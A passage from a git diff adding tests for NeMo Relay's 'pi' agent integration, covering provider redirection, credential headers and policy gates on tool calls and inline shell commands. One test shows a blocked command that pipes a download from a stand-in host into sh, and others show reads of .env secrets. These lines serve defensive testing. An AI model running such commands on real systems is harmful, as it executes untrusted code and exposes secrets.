listen(ctx.server); + process.env.NEMO_RELAY_PI_OPENAI_UPSTREAM = 'https://api.openai.com/v1'; + }); + + after(() => { + ctx.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + delete process.env.NEMO_RELAY_PI_OPENAI_UPSTREAM; + }); + + beforeEach(() => { + ctx.posts.length = 0; + delete process.env.NEMO_RELAY_PROXY_CREDENTIAL; + }); + + const model = { + id: 'gpt-test', + api: 'openai-completions', + provider: 'openai', + baseUrl: 'https://api.openai.com/v1', + }; + + /** Drive the extension while recording what it registers, and with a settable session id. */ + function loadRecording(sessionId) { + const registrations = []; + const handlers = new Map(); + let current = sessionId; + extension({ + on(name, handler) { + if (!handlers.has(name)) handlers.set(name, []); + handlers.get(name).push(handler); + }, + registerProvider: (name, config) => registrations.push({ name, config }), + }); + const context = { + cwd: '/work', + mode: 'interactive', + hasUI: true, + sessionManager: { getSessionId: () => current }, + model, + modelRegistry: { getAll: () => [model] }, + }; + const fire = async (name, event = {}) => { + for (const handler of handlers.get(name) ?? []) { + await handler({ type: name, ...event }, context); + } + }; + return { fire, registrations, setSession: (id) => (current = id) }; + } + + // The header rides on the registration, not on a per-request hook: pi's + // `before_provider_headers` carries no request identity, and its context reports + // the *currently selected* model -- so scoping on it would both omit the key from + // a redirected call whose model was captured before a switch, and leak an internal + // session id to a provider we deliberately did not redirect. + it('rides on the provider registration, so only redirected providers send it', async () => { + const { fire, registrations } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + + assert.equal(registrations.length, 1, 'the matching provider should be redirected'); + assert.equal(registrations[0].name, 'openai'); + assert.equal(registrations[0].config.headers['x-nemo-relay-session-id'], 'sess-one'); + }); + + // The key is baked in at registration, so it cannot follow a replacement on its + // own. pi `v0.84.0` rebuilds the runtime for `/new`, `/resume` and `/fork`, so + // this pins the defence rather than a path pi takes today. + it('is refreshed when the session is replaced under the same runtime', async () => { + const { fire, registrations, setSession } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + + setSession('sess-two'); + await fire('session_start', { reason: 'resume' }); + + assert.equal(registrations.length, 2, 'a replacement must re-register, not reuse'); + assert.equal(registrations[1].config.headers['x-nemo-relay-session-id'], 'sess-two'); + }); + + // A gateway started by `nemo-relay run` authenticates its own client before any + // intercept can rewrite the route, so a redirected call without this credential is + // rejected 401 -- the redirect succeeds and every model call then fails, which is + // the one outcome redirection exists to avoid. + it('carries the launcher proxy credential on a redirected provider', async () => { + process.env.NEMO_RELAY_PROXY_CREDENTIAL = 'nrp_testtoken'; + const { fire, registrations } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + + assert.equal(registrations.length, 1); + assert.equal(registrations[0].config.headers['x-nemo-relay-proxy-token'], 'nrp_testtoken'); + }); + + // A standalone `nemo-relay --bind` daemon requires no credential, so the launcher + // sets nothing. Sending the header empty would be a credential claim we cannot back. + it('omits the proxy credential header when the launcher set none', async () => { + const { fire, registrations } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + + assert.equal(registrations.length, 1); + assert.ok( + !('x-nemo-relay-proxy-token' in registrations[0].config.headers), + 'an absent credential must not become an empty header', + ); + }); + + // Same structural scope as the session id, and it matters more here: the credential + // authenticates *this* invocation, so a provider the gateway does not front must + // never see it. `registerProvider` runs only on a redirect, which is what enforces it. + it('never reaches a provider that was not redirected', async () => { + process.env.NEMO_RELAY_PROXY_CREDENTIAL = 'nrp_testtoken'; + process.env.NEMO_RELAY_PI_OPENAI_UPSTREAM = 'https://elsewhere.example/v1'; + try { + const { fire, registrations } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + assert.equal(registrations.length, 0, 'a mismatched upstream must not register'); + } finally { + process.env.NEMO_RELAY_PI_OPENAI_UPSTREAM = 'https://api.openai.com/v1'; + } + }); + + it('does not re-register when the session id has not moved', async () => { + const { fire, registrations } = loadRecording('sess-one'); + await fire('session_start', { reason: 'startup' }); + await fire('model_select', { model }); + assert.equal(registrations.length, 1, 'the redirect must stay idempotent'); + }); +}); diff --git a/integrations/pi/test/provider-redirect.test.mjs b/integrations/pi/test/provider-redirect.test.mjs new file mode 100644 index 000000000..8c408b133 --- /dev/null +++ b/integrations/pi/test/provider-redirect.test.mjs @@ -0,0 +1,261 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * The redirect decision matrix. + * + * `decideRedirect` is pure so this suite can cover every branch without a pi + * runtime. The branch that matters most is the mismatch guard: the gateway + * forwards to one statically configured upstream per API family, so a redirect + * is only correct when that upstream is the endpoint the model would otherwise + * have called. Getting this wrong does not cost spans, it breaks the session. + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { describe, it } from 'node:test'; + +const { decideRedirect, isNotable, normalizeBaseUrl } = await import('../src/provider-redirect.ts'); + +const GATEWAY = 'http://127.0.0.1:4040'; + +/** The real NVIDIA catalog entry, which is what this was developed against. */ +const nvidiaModel = { + id: 'nvidia/nemotron-3-super-120b-a12b', + api: 'openai-completions', + provider: 'nvidia', + baseUrl: 'https://integrate.api.nvidia.com/v1', +}; + +const anthropicModel = { + id: 'claude-sonnet-4-5', + api: 'anthropic-messages', + provider: 'anthropic', + baseUrl: 'https://api.anthropic.com', +}; + +const matchConfig = (extra = {}) => ({ + gatewayUrl: GATEWAY, + mode: 'match', + openaiUpstream: 'https://integrate.api.nvidia.com/v1', + anthropicUpstream: 'https://api.anthropic.com', + ...extra, +}); + +const none = new Set(); + +describe('redirect decision', () => { + it('redirects when the gateway forwards to the model’s own endpoint', () => { + const decision = decideRedirect(nvidiaModel, matchConfig(), none); + assert.equal(decision.kind, 'redirect'); + assert.equal(decision.provider, 'nvidia'); + assert.equal(decision.upstream, 'https://integrate.api.nvidia.com/v1'); + }); + + // The failure this guard exists for: pi's catalog says NVIDIA, the gateway + // forwards to OpenAI, and redirecting would send the request to a provider + // that has never heard of the model or the key. + it('refuses when the gateway forwards somewhere else', () => { + const decision = decideRedirect( + nvidiaModel, + matchConfig({ openaiUpstream: 'https://api.openai.com/v1' }), + none, + ); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'upstream-mismatch'); + assert.match(decision.reason, /wrong provider/); + }); + + // pi's `modelRegistry.getAll()` returns the selected model too, so with a real pi + // runtime a model is always one of its own siblings. While the whole-provider scan + // ran first, this -- the ordinary mismatch, and the commonest outcome there is -- + // was reported as `provider-mixed-endpoints`, naming the selected model as the + // sibling blocking itself. Same decision; the code has to be the actionable one. + it('reports an ordinary mismatch as itself when the model is its own sibling', () => { + const decision = decideRedirect( + nvidiaModel, + matchConfig({ openaiUpstream: 'https://api.openai.com/v1' }), + none, + [nvidiaModel], + ); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'upstream-mismatch'); + }); + + it('picks the upstream matching the model’s API family, not the other one', () => { + // Anthropic model, anthropic upstream matches, openai upstream does not. + const decision = decideRedirect( + anthropicModel, + matchConfig({ openaiUpstream: 'https://api.openai.com/v1' }), + none, + ); + assert.equal(decision.kind, 'redirect'); + assert.equal(decision.api, 'anthropic-messages'); + }); + + it('refuses an API the gateway has no route for', () => { + for (const api of ['google-generative-ai', 'bedrock-converse-stream', 'mistral-conversations']) { + const decision = decideRedirect({ ...nvidiaModel, api }, matchConfig(), none); + assert.equal(decision.kind, 'skip', api); + assert.equal(decision.code, 'unserviceable-api', api); + } + }); + + // `model.api` is a free-form string in pi, so the serviceable-API lookup must not + // answer for names every JavaScript object inherits. On an object-literal map + // `constructor` and `__proto__` read back truthy, and this model -- whose endpoint + // happens to be the anthropic upstream -- was redirected into a route the gateway + // does not have, with the inherited value rendered into the reason string. + it('refuses an API named after an inherited object property', () => { + for (const api of ['constructor', 'toString', 'valueOf', '__proto__']) { + const decision = decideRedirect({ ...anthropicModel, api }, matchConfig(), none); + assert.equal(decision.kind, 'skip', api); + assert.equal(decision.code, 'unserviceable-api', api); + } + }); + + // Launched outside `nemo-relay run --agent pi`, so nothing told the extension + // what the gateway fronts. Staying put costs spans; guessing costs the session. + it('refuses when the gateway upstream is unknown', () => { + const decision = decideRedirect( + nvidiaModel, + { gatewayUrl: GATEWAY, mode: 'match' }, + none, + ); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'unknown-upstream'); + assert.match(decision.reason, /NEMO_RELAY_PI_REDIRECT=force/); + }); + + it('force skips the match check, match does not', () => { + const forced = decideRedirect( + nvidiaModel, + { gatewayUrl: GATEWAY, mode: 'force', openaiUpstream: 'https://api.openai.com/v1' }, + none, + ); + assert.equal(forced.kind, 'redirect'); + assert.match(forced.reason, /not checked/); + }); + + it('off disables redirection entirely', () => { + const decision = decideRedirect(nvidiaModel, matchConfig({ mode: 'off' }), none); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'disabled'); + }); + + it('has nothing to decide before a model is resolved', () => { + const decision = decideRedirect(undefined, matchConfig(), none); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'no-model'); + }); + + // Without this, the second call compares the gateway URL against the upstream + // and reports a mismatch for a provider it redirected itself. + it('is idempotent once a provider has been redirected', () => { + const decision = decideRedirect(nvidiaModel, matchConfig(), new Set(['nvidia'])); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'already-redirected'); + }); +}); + +describe('what reaches the trace', () => { + // A mark per session for "no model yet" is noise; a mark explaining why LLM + // spans are absent is the whole point. + it('records outcomes that explain a trace, not bookkeeping', () => { + assert.equal(isNotable(decideRedirect(nvidiaModel, matchConfig(), none)), true); + assert.equal( + isNotable(decideRedirect(nvidiaModel, matchConfig({ openaiUpstream: 'https://x.test' }), none)), + true, + ); + assert.equal(isNotable(decideRedirect(undefined, matchConfig(), none)), false); + assert.equal(isNotable(decideRedirect(nvidiaModel, matchConfig(), new Set(['nvidia']))), false); + }); +}); + +describe('base URL comparison', () => { + it('ignores trailing slashes and host case', () => { + assert.equal( + normalizeBaseUrl('https://API.Nvidia.com/v1/'), + normalizeBaseUrl('https://api.nvidia.com/v1'), + ); + }); + + // `/v1` is a real path segment, not noise: providers host several API + // versions, and equating them would redirect into the wrong one. + it('does not treat a /v1 suffix as equivalent to its absence', () => { + assert.notEqual( + normalizeBaseUrl('https://api.anthropic.com'), + normalizeBaseUrl('https://api.anthropic.com/v1'), + ); + }); + + it('keeps ports distinct', () => { + assert.notEqual( + normalizeBaseUrl('http://127.0.0.1:4040'), + normalizeBaseUrl('http://127.0.0.1:4141'), + ); + }); +}); + +// The failure this exists for, built from pi 0.84.0's real Fireworks catalog: +// 18 anthropic-messages models at `/inference` and 4 openai-completions models at +// `/inference/v1`, under one provider. `registerProvider(name, {baseUrl})` rewrites +// every model of a provider, so deciding from the selected model alone moves its +// siblings to an endpoint that has never heard of them. +describe('a provider whose models span API families', () => { + const ANTHROPIC = { + id: 'accounts/fireworks/models/deepseek-v4-flash', + api: 'anthropic-messages', + provider: 'fireworks', + baseUrl: 'https://api.fireworks.ai/inference', + }; + const OPENAI = { + id: 'accounts/fireworks/models/glm-5p2', + api: 'openai-completions', + provider: 'fireworks', + baseUrl: 'https://api.fireworks.ai/inference/v1', + }; + const catalog = [ANTHROPIC, OPENAI]; + + it('refuses to redirect when a sibling would be sent somewhere the gateway does not front', () => { + const config = { + gatewayUrl: 'http://127.0.0.1:4040', + mode: 'match', + anthropicUpstream: 'https://api.fireworks.ai/inference', + openaiUpstream: 'https://api.openai.com/v1', + }; + // Judged alone, the selected model looks perfectly safe. + assert.equal(decideRedirect(ANTHROPIC, config, new Set()).kind, 'redirect'); + + // Judged with its siblings, it is not: the openai-completions models would be + // pointed at api.openai.com carrying a Fireworks key and a Fireworks model id. + const decision = decideRedirect(ANTHROPIC, config, new Set(), catalog); + assert.equal(decision.kind, 'skip'); + assert.equal(decision.code, 'provider-mixed-endpoints'); + assert.match(decision.reason, /glm-5p2/, 'the reason must name the sibling that fails'); + assert.match(decision.reason, /openai-completions/); + }); + + it('redirects once both upstreams point at that provider', () => { + const config = { + gatewayUrl: 'http://127.0.0.1:4040', + mode: 'match', + anthropicUpstream: 'https://api.fireworks.ai/inference', + openaiUpstream: 'https://api.fireworks.ai/inference/v1', + }; + for (const model of catalog) { + const decision = decideRedirect(model, config, new Set(), catalog); + assert.equal(decision.kind, 'redirect', `${model.api} should redirect: ${decision.reason}`); + } + }); + + it('is notable, so the trace explains why there are no LLM spans', () => { + const config = { + gatewayUrl: 'http://127.0.0.1:4040', + mode: 'match', + anthropicUpstream: 'https://api.fireworks.ai/inference', + openaiUpstream: 'https://api.openai.com/v1', + }; + assert.equal(isNotable(decideRedirect(ANTHROPIC, config, new Set(), catalog)), true); + }); +}); diff --git a/integrations/pi/test/tool-call.test.mjs b/integrations/pi/test/tool-call.test.mjs new file mode 100644 index 000000000..6210b39a2 --- /dev/null +++ b/integrations/pi/test/tool-call.test.mjs @@ -0,0 +1,251 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Drives the `tool_call` gate end to end. + * + * Every component this handler composes was already pinned -- the 403 shape in + * `gateway-client.test.mjs`, the transform decision matrix in + * `argument-transform.test.mjs`, the gateway's half in Rust -- and the handler + * that wires them together had no test at all. That is an easy gap to miss in + * review precisely because the coverage either side of it looks complete, and + * it is the primary governance seam: for a model-invoked tool, this is the only + * pre-execution decision point that sees arguments. + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { after, before, beforeEach, describe, it } from 'node:test'; + +import { drain, listen, load, named, rejection, stubGateway } from './harness.mjs'; + +const extension = (await import('../index.ts')).default; + +const call = (input = { path: '/work/README.md' }) => ({ + toolCallId: 'c1', + toolName: 'read', + input, +}); + +describe('the tool_call gate', () => { + let gateway; + let url; + + before(async () => { + gateway = stubGateway('tool_call'); + url = await listen(gateway.server); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + }); + + after(() => { + gateway.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + delete process.env.NEMO_RELAY_PI_FAIL; + }); + + beforeEach(() => { + gateway.reset(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + delete process.env.NEMO_RELAY_PI_FAIL; + }); + + it('blocks a guardrail rejection and hands pi the reason verbatim', async () => { + const fire = load(extension); + gateway.replyWith(rejection('read .env is blocked; use .env.example')); + + const result = await fire('tool_call', call({ path: '/work/.env' })); + + // pi passes this string to the model with no framing at all, so anything + // added here is read by the model as part of the policy's own words. + assert.deepEqual(result, { + block: true, + reason: 'read .env is blocked; use .env.example', + }); + }); + + it('allows by returning undefined, never a truthy object', async () => { + const fire = load(extension); + const result = await fire('tool_call', call()); + // A truthy result without `block` decides nothing, but it stops every + // later extension's `tool_call` handler from running. + assert.equal(result, undefined); + }); + + it('applies a rewrite to the object pi will execute, and records that it did', async () => { + const fire = load(extension); + gateway.replyWith({ + status: 200, + payload: { tool_call: { tool_call_id: 'c1', input: { path: '/work/.env.example' } } }, + }); + + const event = call({ path: '/work/.env' }); + const result = await fire('tool_call', event); + + assert.equal(result, undefined, 'a rewrite is an allow, not a block'); + // In place, not replaced: pi hands the same object to the tool and to every + // later handler, so a new reference would simply be dropped. + assert.deepEqual(event.input, { path: '/work/.env.example' }); + + await drain(fire); + const [recorded] = named(gateway.posts, 'tool_arguments_transformed'); + assert.ok(recorded, 'the trace must record that the arguments were not the ones proposed'); + assert.equal(recorded.tool_call_id, 'c1'); + assert.equal(recorded.tool_name, 'read'); + }); + + it('blocks a rewrite it cannot apply safely rather than running the original', async () => { + const fire = load(extension); + gateway.replyWith({ + status: 200, + payload: { + tool_call: { tool_call_id: 'c1', input: { path: '/work/.env', sudo: true } }, + }, + }); + + const event = call({ path: '/work/.env' }); + const result = await fire('tool_call', event); + + assert.equal(result?.block, true); + assert.match(result.reason, /added sudo/); + // Falling back to the original arguments would silently discard a policy + // decision, which is the failure the transform exists to prevent. + assert.match(result.reason, /not a judgment about your request/); + assert.deepEqual(event.input, { path: '/work/.env' }, 'a refused rewrite must not be applied'); + }); + + it('does not post a transform mark when nothing rewrote the arguments', async () => { + const fire = load(extension); + await fire('tool_call', call()); + await drain(fire); + assert.equal(named(gateway.posts, 'tool_arguments_transformed').length, 0); + }); + + it('fails open by default when the gateway is unreachable', async () => { + process.env.NEMO_RELAY_PI_GATEWAY_URL = 'http://127.0.0.1:1'; + const fire = load(extension); + // A dead sidecar must not brick the agent, matching how the shipped + // hooks.json files use --fail-open everywhere except pre-tool events. + assert.equal(await fire('tool_call', call()), undefined); + }); + + it('fails closed on demand, and says the block is infrastructure and not policy', async () => { + process.env.NEMO_RELAY_PI_GATEWAY_URL = 'http://127.0.0.1:1'; + process.env.NEMO_RELAY_PI_FAIL = 'closed'; + const fire = load(extension); + + const result = await fire('tool_call', call()); + + assert.equal(result?.block, true); + // Telling the model a policy considered and refused its call, when nothing + // did, gives it a false premise to reason from. + assert.match(result.reason, /infrastructure fault, not a judgment/); + }); + + it('treats a 403 without the guardrail marker as a fault, not a policy decision', async () => { + const fire = load(extension); + gateway.replyWith({ status: 403, payload: { error: { message: 'nope' } } }); + // An authorization failure is not a verdict about the request, so under the + // default fail-open policy the call proceeds rather than being reported to + // the model as refused. + assert.equal(await fire('tool_call', call()), undefined); + }); + + it('resolves a slow gateway through the failure policy rather than hanging pi', async () => { + process.env.NEMO_RELAY_PI_TIMEOUT_MS = '50'; + try { + const fire = load(extension); + gateway.replyWith({ status: 200, payload: {}, delayMs: 400 }); + // pi awaits this handler on its critical path, so a gateway that never + // answers must become a decision, not a stall. + assert.equal(await fire('tool_call', call()), undefined); + } finally { + delete process.env.NEMO_RELAY_PI_TIMEOUT_MS; + } + }); +}); + +describe('an extension ahead of the gate', () => { + let gateway; + let url; + + before(async () => { + gateway = stubGateway('tool_call'); + url = await listen(gateway.server); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + }); + + after(() => { + gateway.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + }); + + beforeEach(() => gateway.reset()); + + // The documented blind spot, pinned as behavior rather than prose: pi stops + // at the first handler that returns anything, so on the `pi install` path -- + // which loads last -- the call is blocked and the gateway never learns it + // happened. `-e` inverts the order, which is why the launcher uses it. + it('preempts the tool gate, and the gateway never sees the call', async () => { + const fire = load(extension, { + before: { tool_call: async () => ({ block: true, reason: 'blocked by another extension' }) }, + }); + + const result = await fire('tool_call', call()); + + assert.deepEqual(result, { block: true, reason: 'blocked by another extension' }); + await drain(fire); + assert.equal( + named(gateway.posts, 'tool_call').length, + 0, + 'the gate never ran, so no policy was consulted and nothing was recorded', + ); + }); + + // The two hooks do NOT resolve competing handlers the same way, and an earlier + // version of this harness papered over the difference. `emitToolCall` runs every + // handler and short-circuits only on a block, so a non-blocking result from an + // extension ahead of us is inert -- our gate still runs, and the gateway still + // sees the call. Only `emitUserBash` is first-truthy-wins. + it('does not preempt the tool gate with a non-blocking result', async () => { + const fire = load(extension, { + // Truthy, but no `block`: pi keeps going. + before: { tool_call: async () => ({ reason: 'just an opinion' }) }, + }); + + const result = await fire('tool_call', call()); + + // What pi hands back is the earlier extension's object, not ours: our allow + // is `undefined`, and `undefined` does not overwrite a previous truthy + // result. It is inert because it carries no `block` -- which is the whole + // reason this extension returns `undefined` rather than `{}` on an allow. + assert.deepEqual(result, { reason: 'just an opinion' }); + assert.notEqual(result.block, true, 'inert: nothing was blocked'); + + await drain(fire); + assert.equal( + named(gateway.posts, 'tool_call').length, + 1, + 'and our gate still ran, so the gateway saw and decided the call', + ); + }); + + it('preempts the inline-shell gate the same way', async () => { + const fire = load(extension, { + before: { + user_bash: async () => ({ + result: { output: 'handled elsewhere', exitCode: 0, cancelled: false, truncated: false }, + }), + }, + }); + + const result = await fire('user_bash', { + command: 'git status', + excludeFromContext: false, + cwd: '/work', + }); + + assert.equal(result.result.exitCode, 0); + await drain(fire); + assert.equal(named(gateway.posts, 'user_bash').length, 0); + }); +}); diff --git a/integrations/pi/test/user-bash.test.mjs b/integrations/pi/test/user-bash.test.mjs new file mode 100644 index 000000000..923a454c2 --- /dev/null +++ b/integrations/pi/test/user-bash.test.mjs @@ -0,0 +1,249 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Drives the inline-shell gate, which has no counterpart on the tool path. + * + * `tool_call` returns `{block, reason}` and pi renders the refusal for us. + * `user_bash` has no such contract: a refusal has to be a synthetic failed + * `BashResult` that pi records as if the command had run, so the *shape* of + * that result is the wire contract here and is pinned below. + * + * The gateway half is pinned in Rust by + * `pi_user_bash_hook_rejects_when_conditional_guardrail_blocks` and + * `pi_user_bash_is_not_gated_by_a_policy_that_names_the_bash_tool` + * (`crates/cli/tests/coverage/shared/server_tests.rs`). + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { after, before, beforeEach, describe, it } from 'node:test'; + +import { drain, listen, load as loadExtension, named, rejection, stubGateway } from './harness.mjs'; + +const extension = (await import('../index.ts')).default; +const { REFUSED_EXIT_CODE, refusalResult } = await import('../src/user-bash.ts'); + +const load = () => loadExtension(extension); + +describe('inline shell gate', () => { + let gateway; + let url; + + before(async () => { + gateway = stubGateway('user_bash'); + url = await listen(gateway.server); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + }); + + after(() => { + gateway.server.close(); + delete process.env.NEMO_RELAY_PI_GATEWAY_URL; + delete process.env.NEMO_RELAY_PI_FAIL; + }); + + beforeEach(() => { + gateway.reset(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + delete process.env.NEMO_RELAY_PI_FAIL; + }); + + it('forwards the command under its own tool name, not as bash', async () => { + const fire = load(); + await fire('user_bash', { command: 'git status', excludeFromContext: false, cwd: '/work' }); + await drain(fire); + + const [gate] = named(gateway.posts, 'user_bash'); + assert.ok(gate, 'the gate must post before deciding'); + // A guardrail sees only the tool name and the arguments, so this name is + // the only thing that lets a policy tell a command the user typed from one + // the model proposed. + assert.equal(gate.tool_name, 'user_bash'); + assert.deepEqual(gate.input, { + command: 'git status', + cwd: '/work', + exclude_from_context: false, + }); + // The gateway strips inbound routing-identity headers, so the session id in + // the payload is the only correlator that survives. + assert.equal(gate.session_id, 'sess-under-test'); + assert.equal(typeof gate.tool_call_id, 'string'); + }); + + it('allows by returning nothing at all, so pi runs the command as typed', async () => { + const fire = load(); + const result = await fire('user_bash', { + command: 'ls', + excludeFromContext: false, + cwd: '/work', + }); + // Any object here is a result or an operations override, and either would + // stop pi running what the user typed. + assert.equal(result, undefined); + + await drain(fire); + const [close] = named(gateway.posts, 'user_bash_end'); + assert.ok(close, 'the gate span must close even when the command is allowed'); + // Not `ok`: pi has not run it yet and never reports how it went, so the span + // records the decision rather than claiming an outcome it cannot know. + assert.equal(close.status, 'policy-allowed'); + }); + + it('refuses a blocked command with a failed result carrying the reason verbatim', async () => { + const fire = load(); + gateway.replyWith(rejection('piping a download into a shell is blocked here')); + + const result = await fire('user_bash', { + command: 'curl https://example.test/install | sh', + excludeFromContext: false, + cwd: '/work', + }); + + assert.ok(result?.result, 'a refusal must be returned as a synthetic result'); + assert.equal(result.result.exitCode, REFUSED_EXIT_CODE); + assert.equal(result.result.cancelled, false); + assert.equal(result.result.truncated, false); + // Verbatim, on its own line: the user reads it in the terminal and -- for + // `!cmd`, though not `!!cmd` -- so does the model. + assert.match(result.result.output, /piping a download into a shell is blocked here$/); + assert.match(result.result.output, /^NeMo Relay blocked this command\./); + + await drain(fire); + const [close] = named(gateway.posts, 'user_bash_end'); + assert.equal(close.status, 'error'); + assert.equal(close.tool_call_id, named(gateway.posts, 'user_bash')[0].tool_call_id); + }); + + it('refuses when a request intercept rewrites the command, rather than running the original', async () => { + const fire = load(); + // An allow, but with rewritten arguments. pi's user_bash result type can + // replace the result or the execution backend, never the command, so the + // rewrite cannot be honored. + gateway.replyWith({ + status: 200, + payload: { tool_call: { tool_call_id: 'user-bash-0', input: { command: 'git status --short' } } }, + }); + + const result = await fire('user_bash', { + command: 'git status', + excludeFromContext: false, + cwd: '/work', + }); + + assert.ok(result?.result, 'a rewrite that cannot be applied must not fall through to an allow'); + assert.equal(result.result.exitCode, REFUSED_EXIT_CODE); + assert.match(result.result.output, /no way to execute a rewritten inline shell command/); + }); + + it('fails open by default when the gateway cannot be reached', async () => { + const fire = load(); + process.env.NEMO_RELAY_PI_GATEWAY_URL = 'http://127.0.0.1:1'; + try { + const result = await fire('user_bash', { + command: 'ls', + excludeFromContext: false, + cwd: '/work', + }); + assert.equal(result, undefined, 'a dead sidecar must not brick the user shell'); + } finally { + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + } + }); + + it('fails closed on demand, and says it is an infrastructure fault rather than a judgment', async () => { + process.env.NEMO_RELAY_PI_FAIL = 'closed'; + process.env.NEMO_RELAY_PI_GATEWAY_URL = 'http://127.0.0.1:1'; + const fire = load(); + try { + const result = await fire('user_bash', { + command: 'ls', + excludeFromContext: false, + cwd: '/work', + }); + assert.ok(result?.result); + assert.equal(result.result.exitCode, REFUSED_EXIT_CODE); + // Telling the user a policy considered and refused their command, when + // nothing did, gives them a false premise to act on. + assert.match(result.result.output, /infrastructure fault, not a judgment/); + } finally { + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + } + }); + + // A 2xx body that does not parse may have carried a required transform, so it + // cannot be read as an empty allow -- that runs the original command and discards + // the policy. Only a raw body reaches this branch; anything `JSON.stringify` + // produces parses, which is why the adverse-condition sweep below could not see it. + it('treats a success body it cannot read as a fault, not an empty allow', async () => { + process.env.NEMO_RELAY_PI_FAIL = 'closed'; + gateway.replyWith({ status: 200, raw: '{ truncated' }); + const fire = load(); + const result = await fire('user_bash', { + command: 'ls', + excludeFromContext: false, + cwd: '/work', + }); + assert.ok(result?.result, 'an unreadable success must not fall through to an allow'); + assert.equal(result.result.exitCode, REFUSED_EXIT_CODE); + assert.match(result.result.output, /infrastructure fault, not a judgment/); + }); + + it('forwards the !! form so a policy can see the output will bypass the model', async () => { + const fire = load(); + await fire('user_bash', { command: 'cat .env', excludeFromContext: true, cwd: '/work' }); + await drain(fire); + assert.equal(named(gateway.posts, 'user_bash')[0].input.exclude_from_context, true); + }); + + // The highest-value assertion in this file. `emitUserBash` wraps handlers in + // try/catch and moves on, so anything that escapes fails *open* and is + // invisible: pi logs an extension error and runs the command unchecked. This + // is the opposite of `tool_call`, which has no try/catch and fails closed. + it('always resolves to a legal decision, under every adverse condition', async () => { + const conditions = [ + ['gateway error', { status: 500, payload: { error: { message: 'kaboom' } } }, url], + ['403 without the guardrail marker', { status: 403, payload: { error: {} } }, url], + ['malformed rejection body', { status: 403, payload: 'not-an-object' }, url], + ['unparseable success body', { status: 200, raw: '{ truncated' }, url], + ['unreachable gateway', { status: 200, payload: {} }, 'http://127.0.0.1:1'], + // pi builds its terminal component only after this handler resolves, so a gateway + // that never answers shows the user nothing at all until the timeout fires. + ['slow gateway', { status: 200, payload: {}, delayMs: 400 }, url], + ]; + process.env.NEMO_RELAY_PI_TIMEOUT_MS = '50'; + for (const [label, reply, target] of conditions) { + gateway.replyWith(reply); + process.env.NEMO_RELAY_PI_GATEWAY_URL = target; + const fire = load(); + // `undefined` as a command is the closest thing to an internal failure + // that can be provoked from outside the extension. + const result = await fire('user_bash', { + command: undefined, + excludeFromContext: false, + cwd: '/work', + }).catch((error) => { + assert.fail(`the gate rejected under "${label}", which fails open silently: ${error}`); + }); + assert.ok( + result === undefined || typeof result?.result?.output === 'string', + `"${label}" produced neither an allow nor a refusal: ${JSON.stringify(result)}`, + ); + } + process.env.NEMO_RELAY_PI_GATEWAY_URL = url; + delete process.env.NEMO_RELAY_PI_TIMEOUT_MS; + }); +}); + +describe('the synthetic refusal shape', () => { + it('is a failed command, not a successful one and not a generic error', () => { + const result = refusalResult('because policy'); + // 0 would read as success; 1 is what every failing command already returns, + // so a refusal would be indistinguishable from the command failing; 127 + // means "not found" and would send someone hunting for a missing binary. + assert.equal(result.exitCode, 126); + assert.notEqual(result.exitCode, 0); + assert.equal(result.cancelled, false, 'nothing was started, so nothing was interrupted'); + assert.equal(result.truncated, false, 'the message is whole'); + assert.equal(result.output, 'NeMo Relay blocked this command.\n\nbecause policy'); + }); +}); diff --git a/integrations/pi/tsconfig.json b/integrations/pi/tsconfig.json new file mode 100644 index 000000000..78c8ba64a --- /dev/null +++ b/integrations/pi/tsconfig.json @@ -0,0 +1,20 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2023"], + "module": "NodeNext", + "moduleResolution": "NodeNext", + "types": ["node"], + "strict": true, + "noUncheckedIndexedAccess": true, + "exactOptionalPropertyTypes": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noImplicitOverride": true, + "skipLibCheck": true, + "noEmit": true, + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true + }, + "include": ["index.ts", "src/**/*.ts", "test/**/*.ts"] +} diff --git a/justfile b/justfile index abf785b90..855097855 100644 --- a/justfile +++ b/justfile @@ -580,6 +580,10 @@ set_node_package_versions() { set_npm_package_version crates/node/package.json package-lock.json "$version" crates/node set_npm_package_version integrations/openclaw/package.json package-lock.json "$version" integrations/openclaw set_npm_package_dependency_version integrations/openclaw/package.json package-lock.json integrations/openclaw nemo-relay-node "$version" + # `nemo-relay-pi` is private and not published, so this bump changes nothing today. It is here + # so the version cannot already be stale on the day that changes: a workspace member absent + # from this list drifts silently, with no lockfile mismatch and no CI failure to catch it. + set_npm_package_version integrations/pi/package.json 